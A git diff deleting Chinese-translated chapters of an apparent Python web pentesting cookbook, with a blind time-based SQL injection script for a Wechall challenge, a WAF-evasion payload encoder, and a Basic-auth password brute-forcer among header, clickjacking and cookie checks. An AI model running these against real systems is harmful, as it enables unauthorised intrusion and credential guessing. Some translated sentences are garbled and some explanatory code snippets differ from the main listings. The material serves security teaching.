-对于每个迭代,我们打印出当前已知的密码,然后最终打印出完整密码: - -``` -answer = ''.join(times) -print “Recovered String: “+ answer -``` - -## 还有更多… - -这个脚本提供了一个框架,可以适应许多不同的场景。web 应用程序挑战网站 Wechall 设置了一个限时、盲目的 SQLi 挑战,必须在很短的时间内完成。下面是我们的原始脚本,它已经适应了这种环境。如您所见,我必须考虑不同值和服务器延迟的较小时间差,并且还引入了一种检查方法,每次重置测试值并自动提交: - -``` -import subprocess -import requests - -def round_down(num, divisor): - return num - (num%divisor) - -subprocess.Popen([“modprobe pcspkr”], shell=True) -subprocess.Popen([“beep”], shell=True) - -values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'} -times = [] -answer = “This is the first time” -cookies = {'wc': 'cookie'} -setup = requests.get ('http://www.wechall.net/challenge/blind_lighter/index .php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies) -y=0 -accum=0 - -while 1: - reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies) - for line in reset.text.splitlines(): - if “last hash” in line: - print “the old hash was:”+line.split(“ “)[20].strip(“.”) - print “the guessed hash:”+answer - print “Attempts reset \n \n” - for x in range(1, 33): - payload = {'injection': '\'or IF (ord(substr(password, '+str(x)+', 1)) BETWEEN 48 AND 57,sleep((ord(substr(password, '+str(x)+', 1))- 48)/4),sleep((ord(substr(password, '+str(x)+', 1))- 55)/4));#', 'inject': 'Inject'} - req = requests.post ('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies) - responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)[8]+ str(req.elapsed)[9] - accum = accum + int(responsetime) - benchmark = int(15) - benchmarked = int(responsetime) - benchmark - rounded = str(round_down(benchmarked, 25)) - if rounded in values: - a = str(values[rounded]) - times.append(a) - answer = ''.join(times) - else: - print rounded - rounded = str(“375”) - a = str(values[rounded]) - times.append(a) - answer = ''.join(times) - submission = {'thehash': str(answer), 'mybutton': 'Enter'} - submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies) - print “Attempt: “+str(y) - print “Time taken: “+str(accum) - y += 1 - for line in submit.text.splitlines(): - if “slow” in line: - print line.strip(“
  • ”) - elif “wrong” in line: - print line.strip(“
  • ”) - if “wrong” not in submit.text: - print “possible success!” - #subprocess.Popen([“beep”], shell=True) -``` - -# 编码有效载荷 - -停止 SQL 注入的一种方法是通过服务器端文本操作或**Web App 防火墙**(**WAFs**进行过滤。这些系统针对通常与攻击相关的特定短语,如`SELECT`、`AND`、`OR`和空格。通过用不太明显的值替换这些值,可以很容易地避免这些问题,从而在总体上突出黑名单问题。 - -我们将创建一个脚本,该脚本接受攻击字符串,查找可能转义的字符串,并提供替代攻击字符串。 - -## 怎么做… - -以下是我们的脚本: - -``` -subs = [] -values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”} -originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#” -secondoriginalstring = originalstring -for key, value in values.iteritems(): - if key in originalstring: - newstring = originalstring.replace(key, value) - subs.append(newstring) - if key in secondoriginalstring: - secondoriginalstring = secondoriginalstring.replace(key, value) - subs.append(secondoriginalstring) - -subset = set(subs) -for line in subs: - print line -``` - -以下屏幕截图是使用此脚本时生成的输出示例: - -![How to do it…](graphics/B04044_04_03.jpg) - -## 它是如何工作的… - -此脚本不需要库!多么令人震惊!我们为要创建的值创建一个空列表,并为要添加的替换值创建一个字典。我已经在其中添加了五个示例值。空格和`%20`通常由 WAF 转义,因为 URL 通常不包含空格,除非请求了不合适的内容。 - -更具体地说,经过调优的系统可能会转义特定于 SQL 的单词,例如`SELECT`、`AND`和`OR`。这些是非常基本的值,可以根据需要添加或替换: - -``` -subs = [] -values = {“ “: “%50”, “%20”: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”} -``` - -我已经将原始字符串硬编码为一个示例,因此我们可以看到它是如何工作的。我已经包含了一个有效的 SQLi 字符串,其中嵌入了上述所有值,以证明其用途: - -``` -originalstring = “'%20UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#” -``` - -我们创建原始字符串的第二个版本,以便为每个替换创建累积结果和独立结果: - -``` -secondoriginalstring = originalstring -``` - -我们依次获取每个字典项,并将每个键和值分别分配给参数键和值: - -``` -for key, value in values.iteritems(): -``` - -我们查看初始项是否存在,如果存在,则用键值替换它。例如,如果存在空格,我们将其替换为`%50`,这是编码的制表符 URL: - -``` -if key in originalstring: - newstring = originalstring.replace(key, value) -``` - -每次迭代,这个字符串都将重置为我们在脚本开始时设置的原始值。然后,我们将该字符串添加到前面创建的列表中: - -``` -subs.append(newstring) -``` - -我们使用迭代字符串执行与前面相同的操作,该字符串每一次都会替换自身,以创建一个多编码版本: - -``` -if key in secondoriginalstring: - secondoriginalstring = secondoriginalstring.replace(key, value) - subs.append(secondoriginalstring) -``` - -最后,我们将列表转换为一个集合并逐行返回给用户,从而使列表唯一: - -``` -subset = set(subs) -for line in subs: - print line -``` - -## 还有更多… - -同样,可以将其制作为内部函数,而不是作为独立脚本使用。这也可以通过使用以下脚本来实现: - -``` -def encoder(string): - -subs = [] -values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”} -originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin'” -secondoriginalstring = originalstring -for key, value in values.iteritems(): - if key in originalstring: - newstring = originalstring.replace(key, value) - subs.append(newstring) - if key in secondoriginalstring: - secondoriginalstring = secondoriginalstring.replace(key, value) - subs.append(secondoriginalstring) - -subset = set(subs) -return subset -``` \ No newline at end of file diff --git a/trans/py-pentest-dev/22.md b/trans/py-pentest-dev/22.md deleted file mode 100644 index 998b8c4..0000000 --- a/trans/py-pentest-dev/22.md +++ /dev/null @@ -1,686 +0,0 @@ -# 第 5 章,Web 头操作 - -在本章中,我们将介绍以下主题: - -* 测试 HTTP 方法 -* 通过 HTTP 头对服务器进行指纹识别 -* 测试不安全的报头 -* 通过授权标头强制登录 -* 测试点击劫持漏洞 -* 通过欺骗用户代理识别替代站点 -* 测试不安全的 cookie 标志 -* 通过 cookie 注入进行会话固定 - -# 导言 - -渗透测试 web 服务器的一个关键领域是深入关注服务器处理请求和提供响应的能力。如果您正在对标准 web 服务器部署(例如 Apache 或 Nginx)进行渗透测试,那么您将希望集中精力破坏已部署的配置,并枚举/操作站点内容。如果您正在进行渗透测试的是一个定制的 web 服务器,那么最好随身携带一份 HTTP RFC 副本(可在[获得)http://tools.ietf.org/html/rfc7231](http://tools.ietf.org/html/rfc7231) ),并额外测试 web 服务器如何处理损坏的数据包或意外请求。 - -本章将重点介绍如何创建操作请求的方法,以揭示底层 web 技术并解析响应,从而突出常见问题或关键领域以供进一步测试。 - -# 测试 HTTP 方法 - -开始测试 web 服务器的一个好地方是在`HTTP`请求的开头,通过枚举`HTTP`方法。`HTTP`方法由客户端发送,并向 web 服务器指示客户端期望的操作类型。 - -按照 RFC 7231 中的规定,所有 web 服务器必须支持`GET`和`HEAD`方法,并且所有其他方法都是可选的。除了最初的`GET`和`HEAD`方法之外,还有很多常用方法,因此这是一个很好的测试重点,因为每台服务器都将以不同的方式处理请求和发送响应。 - -值得注意的一个有趣的`HTTP`方法是`TRACE`,因为它的可用性导致**跨站点跟踪**(**XST**)。TRACE 是一种回送测试,基本上将收到的请求回送给用户。这意味着它可以用于跨站点脚本攻击(在本例中称为跨站点跟踪)。为此,攻击者让受害者发送一个`TRACE`请求,并在主体中包含 JavaScript 负载,然后在返回时在本地执行该请求。现代浏览器现在内置了防御系统,通过阻止通过 JavaScript 发出的跟踪请求来保护用户免受这些攻击,因此这种技术现在只适用于旧浏览器或利用 Java 或 Flash 等其他技术。 - -## 怎么做… - -在这个方法中,我们将连接到目标 web 服务器,并尝试列举各种可用的`HTTP`方法。我们还将寻找`TRACE`方法的存在,并突出显示它(如果可用): - -``` -import requests - -verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST'] -for verb in verbs: - req = requests.request(verb, 'http://packtpub.com') - print verb, req.status_code, req.reason - if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: - print 'Possible Cross Site Tracing vulnerability found' -``` - -## 它是如何工作的… - -第一行导入请求库;这将在本节中大量使用: - -``` -import requests -``` - -下一行创建了我们将要发送的`HTTP`方法数组。请注意标准的方法-`GET`、`POST`、`PUT`、`HEAD`、`DELETE,`和`OPTIONS`-然后是非标准的`TEST`方法。添加此选项是为了检查服务器如何处理其不期望的输入。一些 web 框架将非标准动词视为`GET`请求并相应地响应。这是绕过防火墙的一个好方法,因为防火墙可能有一个严格的方法列表来匹配,而不是处理来自意外方法的请求: - -``` -verbs = ['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS', 'TRACE', 'CONNECT', 'TEST'] -``` - -接下来是脚本的主循环。这部分发送 HTTP 数据包;在本例中,指向目标`http://packtpub.com`web 服务器。它打印出方法和响应状态代码以及原因: - -``` -for verb in verbs: - req = requests.request(verb, 'http://packtpub.com') - print verb, req.status_code, req.reason -``` - -最后,有一段代码专门测试 XST: - -``` -if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: - print 'Possible Cross Site Tracing vulnerability found' -``` - -此代码在发送`TRACE`调用时检查服务器响应,检查响应是否包含请求文本。 - -运行脚本将提供以下输出: - -![How it works…](graphics/B04044_05_01.jpg) - -在这里,我们可以看到 web 服务器正确地处理了前五个请求,为所有这些方法返回了一个`200 OK`响应。`TRACE`响应返回`405 Not Allowed`,表明 web 服务器已明确拒绝该响应。目标服务器的一个有趣之处在于,它为`TEST`方法返回`200 OK`响应。这意味着服务器正在以不同的方法处理`TEST`请求;例如,它将其视为`GET`请求。如前所述,这是绕过某些防火墙的好方法,因为它们可能不会处理意外的`TEST`方法。 - -## 还有更多… - -在这个方法中,我们展示了如何测试目标 web 服务器的 XST 漏洞,并测试它如何处理各种`HTTP`方法。该脚本可以通过扩展示例`HTTP`方法数组来进一步扩展,以包括各种其他有效和无效数据值;也许您可以尝试发送 Unicode 数据来测试 web 服务器如何处理意外的字符集,或者发送很长的 HTTP 方法,并测试自定义 web 服务器中的缓冲区溢出。这些数据的一个很好的来源是查看[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的模糊脚本,例如,使用 Mozilla FuzzDB 的有效负载。 - -# 通过 HTTP 头对服务器进行指纹识别 - -我们将关注的 HTTP 协议的下一部分是 HTTP 头。在 web 服务器的请求和响应中都可以找到,它们在客户端和服务器之间传递额外的信息。任何有额外数据的区域都是解析服务器信息和查找潜在问题的好地方。 - -## 怎么做… - -以下是一个简单的标头抓取脚本,它将解析响应标头,以尝试识别正在使用的 web 服务器技术: - -``` -import requests - -req = requests.get('http://packtpub.com') -headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code'] - -for header in headers: - try: - result = req.headers[header] - print '%s: %s' % (header, result) - except Exception, error: - print '%s: Not found' % header -``` - -## 它是如何工作的… - -脚本的第一部分通过熟悉的`requests`库向目标 web 服务器发出一个简单的`GET`请求: - -``` -req = requests.get('http://packtpub.com') -``` - -接下来,我们将生成一个要查找的标题数组: - -``` -headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country- Code'] -``` - -在此脚本中,我们在主代码周围使用了 try/except 块: - -``` -try: - result = req.headers[header] - print '%s: %s' % (header, result) -except: -print '%s: Not found' % header -``` - -我们需要处理这个错误,因为头不是必需的;因此,如果我们试图从数组中检索不存在的头的键,Python 将引发异常。为了克服这个问题,如果响应中没有指定的头,我们只需打印出`Not found`。 - -以下是本例中针对目标服务器运行脚本的输出截图: - -![How it works…](graphics/B04044_05_02.jpg) - -第一个输出行显示`Server`标题,该标题显示底层 web 服务器技术。这是一个查找易受攻击的 web 服务器版本的好地方,但请注意,可以禁用并欺骗此头,因此不要明确依赖此来猜测目标服务器平台。 - -`Date`标头包含有用的信息,可用于猜测服务器的位置。例如,您可以计算出相对于本地时区的时差,以粗略指示其位置。 - -`Via`头由传出和传入的代理使用,并将显示代理名称,在本例中为`1.1 varnish`。 - -`X-Powered-By`是 PHP 等常见 web 框架中使用的标准标头。默认的 PHP 安装将使用 PHP 和版本号进行响应,使其成为另一个很好的侦察目标。 - -最后一行打印`X-Country-Code`短代码,这是另一条有用的信息,可以识别服务器所在的位置。 - -请注意,所有这些头文件都可以在服务器端设置或覆盖,因此不要明确依赖这些信息,并且要小心直接解析来自远程服务器的数据;甚至这些头也可能包含恶意值。 - -## 还有更多… - -此脚本当前包含服务器版本,但可以进一步扩展以查询在线 CVE 数据库,如[https://cve.mitre.org/cve/](https://cve.mitre.org/cve/) ,查找影响 web 服务器版本的漏洞。 - -另一种可以用来增加指纹识别可信度的技术是检查响应头的顺序。例如,Microsoft IIS 在`Date`头之前返回`Server`头,而 Apache 返回`Date`,然后返回`Server`。这种稍有不同的排序可用于验证您可能从该配方中的标头值推断出的任何服务器版本。 - -# 对不安全集管的测试 - -我们已经看到了 HTTP 响应如何成为枚举底层 web 框架的一个重要信息源。我们现在将通过使用`HTTP`头信息来测试不安全的 web 服务器配置,并标记任何可能导致漏洞的内容,从而将此提升到下一个级别。 - -## 准备好了吗 - -对于这个方法,您将需要一个 URL 列表,以测试不安全的头。将这些内容保存到一个名为`urls.txt`的文本文件中,每个 URL 都位于新的一行,与您的食谱一起。 - -## 怎么做… - -以下代码将突出显示从每个目标 URL 的 HTTP 响应中接收到的任何易受攻击的头: - -``` -import requests - -urls = open("urls.txt", "r") -for url in urls: - url = url.strip() - req = requests.get(url) - print url, 'report:' - - try: - xssprotect = req.headers['X-XSS-Protection'] - if xssprotect != '1; mode=block': - print 'X-XSS-Protection not set properly, XSS may be possible:', xssprotect - except: - print 'X-XSS-Protection not set, XSS may be possible' - - try: - contenttype = req.headers['X-Content-Type-Options'] - if contenttype != 'nosniff': - print 'X-Content-Type-Options not set properly:', contenttype - except: - print 'X-Content-Type-Options not set' - - try: - hsts = req.headers['Strict-Transport-Security'] - except: - print 'HSTS header not set, MITM attacks may be possible' - - try: - csp = req.headers['Content-Security-Policy'] - print 'Content-Security-Policy set:', csp - except: - print 'Content-Security-Policy missing' - - print '----' -``` - -## 它是如何工作的… - -此配方配置用于测试多个站点,因此第一部分从文本文件读入 URL 并打印出当前目标: - -``` -urls = open("urls.txt", "r") -for url in urls: - url = url.strip() - req = requests.get(url) - print url, 'report:' -``` - -然后在 try/except 块内测试每个标头。这类似于上一个配方,其中需要此编码样式,因为标题不是必需的。如果我们试图为不存在的头引用一个键,Python 将引发一个异常。 - -第一个`X-XSS-Protection`头应设置为`1; mode=block`,以便在浏览器中启用 XSS 保护。如果标题与该格式不明确匹配或未设置,脚本将打印警告: - -``` -try: - xssprotect = req.headers['X-XSS-Protection'] - if 'xssprotect' != '1; mode=block': - print 'X-XSS-Protection not set properly, XSS may be possible' - except: - print 'X-XSS-Protection not set, XSS may be possible' -``` - -下一个`X-Content-Type-Options`头应该设置为`nosniff`,以防止 MIME 类型混淆。MIME 类型指定目标资源的内容,例如,text/plain 表示远程资源应该是文本文件。如果未指定资源的 MIME 类型,某些 web 浏览器会尝试猜测该类型。这可能导致跨站点脚本攻击;如果资源包含恶意脚本,但它仅指示为纯文本文件,则它可能会绕过内容筛选器并被执行。如果未设置标题或响应与`nosniff`不明确匹配,此检查将打印警告: - -``` -try: - contenttype = req.headers['X-Content-Type-Options'] - if contenttype != 'nosniff': - print 'X-Content-Type-Options not set properly' - except: - print 'X-Content-Type-Options not set' -``` - -下一个 Ty0T0-报头用于强制在 HTTPS 信道上进行通信,以防止 Apple T1。缺少此标头意味着 MITM 攻击可能会将通信通道降级为 HTTP: - -``` - try: - hsts = req.headers['Strict-Transport-Security'] - except: - print 'HSTS header not set, MITM attacks may be possible' -``` - -最后一个`Content-Security-Policy`标题用于限制可以加载到网页上的资源类型,例如,限制 JavaScript 可以运行的位置: - -``` - try: - csp = req.headers['Content-Security-Policy'] - print 'Content-Security-Policy set:', csp - except: - print 'Content-Security-Policy missing' -``` - -配方的输出显示在以下屏幕截图中: - -![How it works…](graphics/B04044_05_03.jpg) - -# 通过授权头强制登录 - -许多网站使用 HTTP 基本身份验证来限制对内容的访问。这在路由器等嵌入式设备中尤其普遍。Python`requests`库内置了对基本身份验证的支持,为创建身份验证暴力脚本提供了一种简单的方法。 - -## 准备好了吗 - -在创建此配方之前,您需要一个密码列表来尝试进行身份验证。创建一个名为`passwords.txt`的本地文本文件,将每个密码放在新行上。查看[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的暴力强制密码,获取在线资源中的密码列表。此外,请花一些时间查看目标服务器,因为您需要知道它如何响应失败的登录请求,以便我们能够区分暴力何时起作用。 - -## 怎么做… - -以下代码将尝试通过基本身份验证强行进入网站: - -``` -import requests -from requests.auth import HTTPBasicAuth - -with open('passwords.txt') as passwords: - for password in passwords.readlines(): - password = password.strip() - req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password)) - if req.status_code == 401: - print password, 'failed.' - elif req.status_code == 200: - print 'Login successful, password:', password - break - else: - print 'Error occurred with', password - break -``` - -## 它是如何工作的… - -此脚本的第一部分逐行读取密码列表。然后向登录页面发送 HTTP`GET`请求: - -``` -req = requests.get('http://packtpub.com/admin_login.html', auth=HTTPBasicAuth('admin', password)) -``` - -此请求有一个额外的`auth`参数,其中包含用户名`admin`和从`passwords.txt`文件读取的`password`。发送带有基本`Authorization`头的 HTTP 请求时,原始数据如下所示: - -![How it works…](graphics/B04044_05_04.jpg) - -注意,在`Authorization`报头中,数据以编码格式发送,例如`YWRtaW46cGFzc3dvcmQx`。这是`username:password`的`base64`编码形式的用户名和密码;`requests.auth.HTTPBasicAuth`类只是为我们做这个转换。这可以通过使用`base64`库进行验证,如以下屏幕截图所示: - -![How it works…](graphics/B04044_05_05.jpg) - -了解这些信息意味着您仍然可以在没有外部请求库的情况下运行脚本;相反,它使用`base64`默认库手动创建`Authorization`头。 - -以下是暴力脚本的屏幕截图: - -![How it works…](graphics/B04044_05_06.jpg) - -## 还有更多… - -在这个示例中,我们在授权请求中使用了一个固定的 admin 用户名,这是众所周知的。如果这是未知的,您可以创建一个`username.txt`文本文件,并循环遍历其中的每一行,就像我们对密码文本文件所做的那样。请注意,这是一个慢得多的过程,会向目标站点创建大量 HTTP 请求,这很可能会将您列入黑名单,除非您实施速率限制。 - -## 另见 - -查看[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的*检查用户名有效性*和*强制用户名*配方,了解有关用户名和密码组合的更多想法。 - -# 点击劫持漏洞测试 - -点击劫持是一种欺骗用户在目标站点上执行操作而不被他们察觉的技术。这是由恶意用户在合法网站的顶部放置一个隐藏的覆盖层来完成的,因此当受害者认为他们正在与合法网站交互时,他们实际上是在单击隐藏的顶部覆盖层上的隐藏项。这种攻击可以通过这样一种方式进行精心设计,即它会导致受害者键入凭据或单击并拖动项目,而不会意识到它们正在受到攻击。这些攻击可以用来攻击银行网站,诱骗受害者转移资金,在社交网站中也很常见,目的是获得更多的关注者或喜欢者,尽管大多数网站现在已经采取了防御措施。 - -## 怎么做… - -网站可以通过两种主要方式防止点击劫持:一种是设置`X-FRAME-OPTIONS`标题,告诉浏览器如果网站在一个框架内,就不要呈现该网站;另一种是使用 JavaScript 跳出框架(通常称为框架破坏)。此配方将向您展示如何检测这两种防御,以便您能够识别既没有: - -``` -import requests -from ghost import Ghost -import logging -import os - -URL = 'http://packtpub.com' -req = requests.get(URL) - -try: - xframe = req.headers['x-frame-options'] - print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible' -except: - print 'X-FRAME-OPTIONS missing' - -print 'Attempting clickjacking...' - -html = ''' - - - - -''' - -html_filename = 'clickjack.html' -f = open(html_filename, 'w+') -f.write(html) -f.close() - -log_filename = 'test.log' -fh = logging.FileHandler(log_filename) -ghost = Ghost(log_level=logging.INFO, log_handler=fh) -page, resources = ghost.open(html_filename) - -l = open(log_filename, 'r') -if 'forbidden by X-Frame-Options.' in l.read(): - print 'Clickjacking mitigated via X-FRAME-OPTIONS' -else: - href = ghost.evaluate('document.location.href')[0] - if html_filename not in href: - print 'Frame busting detected' - else: - print 'Frame busting not detected, page is likely vulnerable to clickjacking' -l.close() - -logging.getLogger('ghost').handlers[0].close() -os.unlink(log_filename) -os.unlink(html_filename) -``` - -## 它是如何工作的… - -这个脚本的第一部分检查第一个点击劫持防御,`X-FRAME-OPTIONS`标题,就像我们在前面的配方中看到的一样。`X-FRAME-OPTIONS`取三个值:`DENY`、`SAMEORIGIN`或`ALLOW-FROM `。这些值中的每一个都提供了不同级别的防止点击劫持的保护,因此,在本配方中,我们试图检测是否存在以下缺陷: - -``` -try: - xframe = req.headers['x-frame-options'] - print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible' -except: - print 'X-FRAME-OPTIONS missing' -``` - -代码的下一部分创建一个本地 html`clickjack.html`文件,其中包含一些非常简单的 html 代码行,并将它们保存到本地`clickjack.html`文件中: - -``` -html = ''' - - - - -''' - -html_filename = 'clickjack.html' -f = open(html_filename, 'w+') -f.write(html) -f.close() -``` - -此 HTML 代码创建一个 iframe,将源设置为目标网站。HTML 文件将加载到 ghost 中,以尝试呈现网站并检测目标网站是否加载到 iframe 中。Ghost 是一个 WebKit 渲染引擎,因此它应该类似于在 Chrome 浏览器中加载站点时会发生的情况。 - -下一部分设置重影日志以重定向到本地日志文件(默认为打印到`stdout`: - -``` -log_filename = 'test.log' -fh = logging.FileHandler(log_filename) -ghost = Ghost(log_level=logging.INFO, log_handler=fh) -``` - -下一行在 ghost 中呈现本地 HTML 页面,并包含目标页面请求的任何额外资源: - -``` -page, resources = ghost.open(html_filename) -``` - -然后,我们打开日志文件并检查`X-FRAME-OPTIONS`错误: - -``` -l = open(log_filename, 'r') -if 'forbidden by X-Frame-Options.' in l.read(): - print 'Clickjacking mitigated via X-FRAME-OPTIONS' -``` - -脚本的下一部分检查框架破坏;如果 iframe 有 JavaScript 代码来检测它被加载到 iframe 中,它将跳出框架,导致页面重定向到目标网站。我们可以通过使用`ghost.evaluate`在 ghost 中执行 JavaScript 并读取当前位置来检测: - -``` -href = ghost.evaluate('document.location.href')[0] -``` - -代码的最后一部分用于清理、关闭任何打开的文件或任何打开的日志处理程序,以及删除临时 HTML 和日志文件: - -``` -l.close() - -logging.getLogger('ghost').handlers[0].close() -os.unlink(log_filename) -os.unlink(html_filename) -``` - -如果脚本输出`Frame busting not detected, page is likely vulnerable to clickjacking`,则目标网站可以在隐藏的 iframe 中呈现,并用于点击劫持攻击。以下屏幕截图显示了来自易受攻击站点的日志示例: - -![How it works…](graphics/B04044_05_07.jpg) - -如果在 web 浏览器中查看生成的 clickjack.html 文件,它将确认目标 web 服务器可以加载到 iframe 中,因此容易受到 clickjack 的影响,如以下屏幕截图所示: - -![How it works…](graphics/B04044_05_08.jpg) - -# 通过欺骗用户代理识别替代站点 - -一些网站根据您用来查看内容的浏览器或设备限制访问或显示不同的内容。例如,网站可能会为从 iPhone 浏览的用户显示面向移动的主题,或者向使用旧版本易受攻击的 Internet Explorer 的用户显示警告。这是一个发现漏洞的好地方,因为这些漏洞可能没有经过严格的测试,甚至被开发人员遗忘。 - -## 怎么做… - -在本食谱中,我们将向您展示如何欺骗您的用户代理,使您在网站上看起来好像在使用不同的设备试图发现替代内容: - -``` -import requests -import hashlib - -user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36', -'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4', -'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', -'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' } - -responses = {} -for name, agent in user_agents.items(): - headers = {'User-Agent' : agent} - req = requests.get('http://packtpub.com', headers=headers) - responses[name] = req - -md5s = {} -for name, response in responses.items(): - md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest() - -for name,md5 in md5s.iteritems(): - if name != 'Chrome on Windows 8.1': - if md5 != md5s['Chrome on Windows 8.1']: - print name, 'differs from baseline' - else: - print 'No alternative site found via User-Agent spoofing:', md5 -``` - -## 它是如何工作的… - -我们首先设置一组用户代理,每个密钥都有一个友好的名称: - -``` -user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36', -'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4', -'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', -'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' } -``` - -这里有四个用户代理:Windows8.1 上的 Chrome,iOS 上的 Safari,WindowsXP 上的 InternetExplorer6,最后是 Googlebot。这提供了广泛的浏览器和示例,您希望在每个请求后面找到不同的内容。列表中的最后一个用户代理 Googlebot 是 Google 为其搜索引擎检索数据时发送的爬虫程序。 - -下一部分循环遍历每个用户代理,并在请求中设置`User-Agent`头: - -``` -responses = {} -for name, agent in user_agents.items(): - headers = {'User-Agent' : agent} -``` - -下一节使用熟悉的请求库发送 HTTP 请求,并使用用户友好的名称作为键将每个响应存储在响应数组中: - -``` -req = requests.get('http://www.google.com', headers=headers) - responses[name] = req -``` - -代码的下一部分创建一个`md5s`数组,然后遍历响应,获取`response.text`文件。由此,它生成响应内容的`md5`散列,并将其存储到`md5s`数组中: - -``` -md5s = {} -for name, response in responses.items(): - md5s[name] = hashlib.md5(response.text.encode('utf- 8')).hexdigest() -``` - -代码的最后一部分遍历`md5s`数组,并将每个项目与原始基线请求进行比较,在本配方`Chrome on Windows 8.1`中: - -``` -for name,md5 in md5s.iteritems(): - if name != 'Chrome on Windows 8.1': - if md5 != md5s['Chrome on Windows 8.1']: - print name, 'differs from baseline' - else: - print 'No alternative site found via User-Agent spoofing:', md5 -``` - -我们对响应文本进行了散列处理,以使生成的数组保持较小,从而减少内存占用。您可以通过内容直接比较每个响应,但这样会比较慢,并且需要使用更多内存来处理。 - -如果 web 服务器的响应与 Windows 8.1 上的 Chrome 基线响应不同,此脚本将打印出用户代理友好名称,如以下屏幕截图所示: - -![How it works…](graphics/B04044_05_09.jpg) - -## 另见 - -此配方基于能够操作 HTTP 请求中的头。查看[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的*基于标头的跨站点脚本编制*和*Shellshock checking*部分,了解更多可传递到标头的数据示例。 - -# 测试不安全的 cookie 标志 - -HTTP 协议下一个感兴趣的主题是 cookies。由于 HTTP 是一种无状态协议,Cookie 提供了一种在客户端存储持久数据的方法。这允许 web 服务器通过在会话长度内将数据持久化到 cookie 来进行会话管理。 - -Cookie 是在 HTTP 响应中使用`Set-Cookie`头从 web 服务器设置的。然后通过`Cookie`头将它们发送回服务器。本食谱将介绍如何审核网站设置的 cookies,以验证它们是否具有安全属性。 - -## 怎么做… - -以下是枚举目标站点上设置的每个 cookie 并标记存在的任何不安全设置的方法: - -``` -import requests - -req = requests.get('http://www.packtpub.com') -for cookie in req.cookies: - print 'Name:', cookie.name - print 'Value:', cookie.value - - if not cookie.secure: - cookie.secure = '\x1b[31mFalse\x1b[39;49m' - print 'Secure:', cookie.secure - - if 'httponly' in cookie._rest.keys(): - cookie.httponly = 'True' - else: - cookie.httponly = '\x1b[31mFalse\x1b[39;49m' - print 'HTTPOnly:', cookie.httponly - - if cookie.domain_initial_dot: - cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m' - print 'Loosly defined domain:', cookie.domain_initial_dot, '\n' -``` - -## 它是如何工作的… - -我们枚举从 web 服务器发送的每个 cookie 并检查它们的属性。前两个属性是 cookie 的`name`和`value`: - -``` - print 'Name:', cookie.name - print 'Value:', cookie.value -``` - -然后检查 cookie 上的`secure`标志: - -``` -if not cookie.secure: - cookie.secure = '\x1b[31mFalse\x1b[39;49m' - print 'Secure:', cookie.secure -``` - -cookies 上的`Secure`标志表示它仅通过 HTTPS 发送。这对于用于身份验证的 cookie 是很好的,因为这意味着,例如,如果有人正在监视开放的网络流量,就不能通过网络嗅探 cookie。 - -还要注意,`\x1b[31m`代码是一种特殊的 ANSI 转义代码,用于更改终端字体的颜色。这里,我们用红色突出显示了不安全的标题。`\x1b[39;49m`代码将颜色重置回默认值。更多信息,请参见 ANSI 上的维基百科页面[http://en.wikipedia.org/wiki/ANSI_escape_code](http://en.wikipedia.org/wiki/ANSI_escape_code) 。 - -下一步检查的是`httponly`属性: - -``` - if 'httponly' in cookie._rest.keys(): - cookie.httponly = 'True' - else: - cookie.httponly = '\x1b[31mFalse\x1b[39;49m' - print 'HTTPOnly:', cookie.httponly -``` - -如果设置为`True`,则表示 JavaScript 无法访问 cookie 的内容,并将其发送到浏览器,只能由浏览器读取。这是用来抵御 XSS 尝试的,因此在进行渗透测试时,缺少此 cookie 